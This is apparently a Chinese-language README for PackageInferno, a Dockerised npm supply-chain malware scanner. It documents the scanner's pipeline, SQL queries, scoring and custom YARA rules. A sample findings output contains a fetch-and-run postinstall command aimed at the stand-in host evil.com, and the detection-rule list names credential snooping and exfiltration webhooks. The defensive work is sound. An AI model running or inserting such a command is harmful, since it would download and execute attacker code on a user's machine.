极度简单、Docker优先的npm供应链扫描器。仅需一个Compose文件即可运行:
这是纯容器版本。该项目可扩展至使用EC2、SQS和RDS。工具集中已为此做了大部分配置。
scan.yml 可配置规则(白名单、阈值、YARA)scan_runs) 即开即用~/.aws 提供凭据)docker-compose.yml – 服务:db, enumerator, fetcher, analyzer, dashboard, init-dbenumerator/ – 构建NDJSON队列的Node工作进程fetcher/ – 下载tarball的Node工作进程(如果启用则上传至S3)analyzer/ – Python静态分析器(+ 可选内联YARA)dashboard/ – Streamlit应用(端口8501)infra/migrations.sql – 核心DB模式(packages, versions, findings, scores, indexes)infra/20251106_scan_runs.sql – 扫描历史表scan.yml – 分析配置(规则、评分、白名单、YARA)scripts/run_pipeline.sh – 运行 enumerate → fetch → analyzescripts/init_db.sh – 引导DB模式scripts/test_setup.sh – 自动设置验证SCANNING_GUIDE.md – 详细扫描策略和示例前提条件:安装了Docker Desktop(或引擎)并支持Compose v2。
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash
此命令会将仓库克隆到 ~/package-inferno 并给出启动说明。
从GitHub容器注册表拉取并运行预构建容器:
# 克隆仓库(获取配置文件和脚本)
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno
# 使用预构建镜像运行
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer
可用镜像:
ghcr.io/mhaggis/package-inferno/enumerator:mainghcr.io/mhaggis/package-inferno/fetcher:mainghcr.io/mhaggis/package-inferno/analyzer:main运行测试脚本来验证你的安装:
./scripts/test_setup.sh
该脚本会:
docker compose up -d db
./scripts/init_db.sh
./scripts/run_pipeline.sh
docker compose up -d dashboard
# 打开 http://localhost:8501
发现结果保存在 ./out/findings/*.findings.json 中,启用DB时也会存储在 findings 表中。
PackageInferno支持多种扫描策略,适用于不同目标:
定位你想要分析的具体包:
# 单条命令,使用种子
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh
# 或从文件读取
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh
我最初如何测试: 使用 SEEDS="is-odd,is-even" 快速验证。
从npm注册表分页扫描包:
# 清理之前的运行结果
rm -rf downloads/* out/*
# 扫描2页,每页10个包(共20个包)
export MAX_CHUNKS=2 # 页面数
export CHUNK_LIMIT=10 # 每页包数
unset SEEDS # 重要:禁用种子模式
# 为更好可视化而分别运行各步骤
docker compose run --rm enumerator # 发现并排队
docker compose run --rm fetcher # 下载tarball
docker compose run --rm analyzer # 扫描威胁
示例输出:
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)
扫描整个npm注册表:
export MAX_CHUNKS=0 # 0 = 无界
export CHUNK_LIMIT=100 # 更大的批次以提高效率
./scripts/run_pipeline.sh
警告: 这将运行数小时/数天,扫描数十万个包。请监控磁盘空间和数据库大小。
枚举器将状态保存到 ./out/enumerator_state.json,包含游标位置:
{
"last_seq": "0",
"last_startkey": "package-name",
"last_run": "2025-11-23T19:24:49.123Z",
"last_processed": 22,
"last_new": 22
}
只需重新运行流水线,它会从上次游标处恢复:
./scripts/run_pipeline.sh # 自动恢复
强制全新扫描:
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh
来自22个包的2页扫描,以下是PackageInferno检测到的结果:
-- 按分数排序的高可疑包
SELECT p.name, s.score, s.label, COUNT(f.id) as findings
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN scores s ON v.id = s.version_id
LEFT JOIN findings f ON v.id = f.version_id
GROUP BY p.name, s.score, s.label
ORDER BY s.score DESC;
-- 结果:
name | score | label | findings
-----------------------+-------+------------+----------
rendition | 606 | malicious | 153
vs-deploy | 454 | malicious | 119
--123hoodmane-pyodide | 213 | malicious | 46
为什么 rendition 如此可疑?
url_outside_allowlist - 非白名单域名suspicious_pattern - Shell/eval模式advanced_obfuscation - 十六进制编码、XOR、字符串数组big_base64_blob - 大型编码负载url_in_code - 嵌入URL评分系统(在 scan.yml 中配置)会聚合这些发现,产生风险分数和标签(clean、suspicious 或 malicious)。
运行 docker compose up -d dashboard 后打开 http://localhost:8501
功能:
直接SQL访问,用于自定义分析:
# 连接到数据库
docker exec -it pi-postgres psql -U piuser -d packageinferno
有用查询:
-- 含有凭据窃取企图的包
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;
-- 发现的所有C2/Webhook目标
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';
-- 拼写错误攻击
SELECT
p.name,
f.details->>'target_package' as impersonating,
f.details->>'similarity' as similarity_pct,
f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;
-- 包含原生二进制文件的包
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';
发现结果也会以结构化JSON保存到 ./out/findings/:
# 查看特定包的发现结果
cat out/findings/[email protected] | jq .
# 按严重程度统计发现数
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c
# 提取所有发现的C2 URL
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json
如果你希望将制品放入S3:
package-inferno-tarballs(原始npm tarball)package-inferno-findings(分析器输出)~/.aws 包含有效凭据(基于配置文件或环境)。export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default # 可选;或依赖环境凭据
Compose将 ~/.aws 挂载到fetcher和analyzer中。如果 LOCAL_ONLY=false,fetcher会上传tarball到 S3_TARBALLS。如果设置了 S3_FINDINGS,analyzer会在本地写入后将发现JSON上传。
最小IAM策略示例(附加到你正在使用的用户/角色):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "S3Access",
"Effect": "Allow",
"Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
"Resource": [
"arn:aws:s3:::package-inferno-tarballs",
"arn:aws:s3:::package-inferno-tarballs/*",
"arn:aws:s3:::package-inferno-findings",
"arn:aws:s3:::package-inferno-findings/*"
]
}
]
}
主要控制旋钮位于 scan.yml。亮点:
analysis.allow_domains – 不会触发“白名单外”的域名analysis.allowlist.build_tools – 良性构建步骤的正则表达式analysis.yara.* – 启用内联YARA(默认开启)、规则路径、大小/时间限制scoring.rule_weights 和 scoring.thresholds – 调整“可疑/恶意”阈值你可以设置的容器环境变量:
DAYS(默认30)、CHUNK_LIMIT(默认100)、MAX_CHUNKS(默认5)SEEDS、SEEDS_FILE – 种子包名称LOCAL_ONLY=true(排队到文件)、DB_URL 用于去重(针对DB)LOCAL_ONLY=false 以上传tarball到S3S3_TARBALLS、AWS_REGION、AWS_PROFILEMAX_EXTRACT_BYTES=0 表示无限制提取S3_FINDINGS、AWS_REGIONDB URL已为本地Compose预先配置:
postgres://piuser:pipass@db:5432/packageinferno
./out/fetch_queue.ndjson(并可选择将“已排队”版本upsert到DB)。./downloads,如果配置了则上传到S3。./out/findings。如果配置了DB,它会upsert发现结果和分数。enumerator/src/enumerator.js)用途: 发现要扫描的npm包并构建工作队列。
功能:
SEEDS 环境变量或 SEEDS_FILE 扫描特定包_changes 端点以获取最近更新_all_docs 端点分页(支持可恢复游标)./out/fetch_queue.ndjson 或SQS关键环境变量:
SEEDS="pkg1,pkg2" - 逗号分隔的要扫描的包名SEEDS_FILE - 每行一个包的文本文件路径MAX_CHUNKS=5 - 限制分页(0 = 无界)CHUNK_LIMIT=100 - 每次API请求的包数DB_URL - 用于去重的Postgres连接示例用法:
# 扫描特定包
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator
# 从文件扫描
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator
fetcher/src/fetcher.js)用途: 从注册表下载npm tarball。
功能:
./out/fetch_queue.ndjson(或SQS)读取队列./downloads/,命名为 [email protected]S3_TARBALLS)关键环境变量:
LOCAL_ONLY=true - 跳过S3上传(仅本地模式)S3_TARBALLS - 用于存储tarball的S3桶名DOWNLOAD_DIR=./downloads - 本地输出目录MAX_RETRIES=5 - HTTP重试次数S3键格式: npm-raw-tarballs/{name}/{version}.tgz
analyzer/src/analyzer.py)用途: 检测包中恶意模式的静态分析引擎。
功能:
package.json 以获取元数据和生命周期钩子scan.yml 中的加权规则对发现结果进行评分./out/findings/ 并upsert到DB检测规则(完整列表见 analyzer/src/analyzer.py):
lifecycle_script - 危险的install/postinstall钩子url_outside_allowlist - 对非允许域名的网络调用c2_webhook - 已知外泄端点(Discord、Slack、Telegram)env_snoop - 访问AWS密钥、令牌、密码writes_outside_pkg - 文件系统写入到 .ssh、.npmrc、系统目录typosquat_detected - 包名称与流行包相似advanced_obfuscation - 十六进制、XOR、字符串数组、控制流扁平化yara_match - YARA规则命中(恶意软件、漏洞利用、Webshell)phishing_form - 凭据收割表单native_binary_present - PE/ELF/Mach-O可执行文件关键环境变量:
MAX_EXTRACT_BYTES=0 - 解压大小限制(0 = 无限制)SCAN_YML=/app/scan.yml - 配置文件路径DB_URL - 用于发现结果存储的Postgres连接S3_FINDINGS - 用于上传发现结果的S3桶输出格式(*.findings.json):
{
"tgz": "/downloads/[email protected]",
"findings": [
{
"rule": "lifecycle_script",
"severity": "high",
"details": {
"key": "postinstall",
"value": "curl https://evil.com | sh",
"tags": ["shell_spawn", "downloader"],
"explanation": "高风险postinstall钩子:shell_spawn, downloader"
}
}
]
}
1. 基于模式的检测(添加到 analyzer/src/analyzer.py):
# 定义正则模式
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)
# 添加到 analyze_file_bytes() 函数中
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
# ... 已有代码 ...
# 你的自定义检查
if CUSTOM_PATTERN_RE.search(b):
out.append({
'rule': 'custom_dangerous_function',
'severity': 'high',
'details': {
'path': str(path),
'explanation': '检测到 dangerous-function 调用'
}
})
return out
2. 添加评分权重(scan.yml):
scoring:
rule_weights:
custom_dangerous_function: 6 # 你的新规则
# ... 已有规则 ...
thresholds:
suspicious: 7
malicious: 12
3. 更新评分函数(analyzer/src/analyzer.py):
def score_findings(findings, scoring):
weights = scoring.get('rule_weights', {})
score = 0
for f in findings:
rule = f['rule']
w = 0
# ... 已有规则 ...
elif rule == 'custom_dangerous_function':
w = weights.get('custom_dangerous_function', 6)
score += int(w)
# ... 函数其余部分 ...
1. 创建自定义规则文件(yara-rules/custom.yar):
rule CustomMalware {
meta:
description = "检测自定义威胁模式"
severity = "high"
strings:
$s1 = "malicious_string" ascii
$s2 = /evil_regex_[0-9]{4}/
condition:
any of them
}
2. 更新 scan.yml:
analysis:
yara:
enabled: true
rules_path: yara-rules/custom.yar # 指向你的规则
max_file_size_mb: 10
timeout_seconds: 30
3. 在 docker-compose.yml 中挂载自定义规则:
analyzer:
volumes:
- ./yara-rules:/app/yara-rules:ro
将可信域名添加到 scan.yml 以减少误报:
analysis:
allow_domains:
- registry.npmjs.org
- github.com
- your-cdn.com # 添加你的域名
白名单合法构建命令:
analysis:
allowlist:
build_tools:
- \bmy-custom-build-tool\b
- \bmake\s+clean\b
docker compose up -d db 正在运行,然后重新运行 ./scripts/init_db.sh。~/.aws/credentials、AWS_REGION 以及桶策略/权限。scan.yml 中降低文件大小限制或禁用内联YARA(analysis.yara.enabled: false)。CHUNK_LIMIT 或逐步增加 MAX_CHUNKS。| 模式 | 用例 | 速度 | 覆盖范围 | 命令 |
|---|
| 特定种子 | 测试/调查已知包 | 最快 | 针对性 | SEEDS="pkg1,pkg2" |
| 小批量 | 验证设置、样本扫描 | 快 | 10-100个包 | MAX_CHUNKS=2 CHUNK_LIMIT=10 |
| 全量注册表 | 全面供应链审计 | 数小时至数天 | 200万+包 | MAX_CHUNKS=0 CHUNK_LIMIT=100 |
| 变更馈送 | 监控新版本(已自动包含) | 实时 | 最近更新 | 内置 |
DB_URL 用于将发现结果和分数写入Postgres